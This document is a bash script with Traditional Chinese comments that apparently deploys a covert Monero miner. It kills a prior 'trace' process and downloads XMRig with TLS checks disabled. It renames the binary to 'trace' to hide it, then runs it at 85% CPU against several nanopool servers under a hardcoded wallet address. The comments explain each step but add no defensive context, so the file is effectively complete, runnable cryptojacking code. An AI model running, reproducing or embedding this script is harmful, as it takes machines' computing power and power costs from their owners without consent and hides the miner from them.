#!/bin/bash
#殺掉舊 trace 挖苦程序
if pgrep trace; then pkill trace; fi
# CPU 數: 8
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
#主機名 md5 校驗碼: b8419160
hostHash=$(hostname -f | md5sum | cut -c1-8);
#輸出: "b8419160 - 8"
echo "${hostHash} - ${threadCount}";
#刪除 config.json 文件
rm -rf config.json;
# d 方法,添加參數下載 xmrig-5.0.0-xenial-x64.tar.gz 安裝包;
# "$1" https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz
# "$2" trace.tgz
# curl
# -L 遵循重定向(H)
# --insecure 允許在沒有證書的情況下連接到SSL站點(H)
# --connect-timeout 允許連接的最大時間 30s
# --max-time 允許轉移的最大時間 800s
# --fail HTTP錯誤(H)靜默失敗(完全沒有輸出)
# -o 將輸出寫到<file>而不是stdout "$2"
# wget
# --no-check-certificate 不要驗證服務器的證書
# --timeout 將所有超時值設置為秒 800s
# --tries 設置重試次數為(0不受限制) 1
# -O 編寫文件歸檔。 "$2"
# _curl ...
d () {
curl -L --insecure --connect-timeout 30 --max-time 800 --fail "$1" -o "$2" 2> /dev/null || wget --no-check-certificate --timeout 800 --tries 1 "$1" -O "$2" 2> /dev/null || _curl "$1" > "$2";
}
#判斷 trace 大小是否非空
test ! -s trace && \
#下載 xmrig-5.0.0-xenial-x64.tar.gz 並改名為 trace.tgz ;
d https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
#解壓
tar -zxvf trace.tgz && \
#移動啟動腳本,並改名
mv xmrig-5.0.0/xmrig trace && \
#刪除 xmrig-5.0.0 目錄
rm -rf xmrig-5.0.0 && \
#刪除 trace.tgz 包
rm -rf trace.tgz;
#判斷 trace 是否為執行文件,否則添加執行權限
test ! -x trace && chmod +x trace;
# k 方法
k() {
./trace \
#切換到備份服務器前重試次數(默認:5次)
-r 2 \
#重試之間暫停的時間(默認值:5)
-R 2 \
#發送 keepalive 數據包防止超時(需要池支持)
--keepalive \
#禁用彩色輸出
--no-color \
#捐贈等級,默認5%(100分鍾內5分鍾)
--donate-level 1 \
#CPU最大使用率
--max-cpu-usage 85 \
#設置進程優先級(0空閑,2正常到5最高)
--cpu-priority 3 \
#每N秒打印 hashrate 報告
--print-time 25 \
#CPU線程數
--threads "${threadCount:-4}" \
#挖掘服務器URL
--url "$1" \
#挖掘服務器用戶名
--user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
#挖掘服務器密碼
--pass x \
#指定 coin 而不是算法
--coin xmr \
#發送 keepalive 數據包防止超時(需要池支持)
--keepalive
}
# k 方法連接礦池
k xmr-asia1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444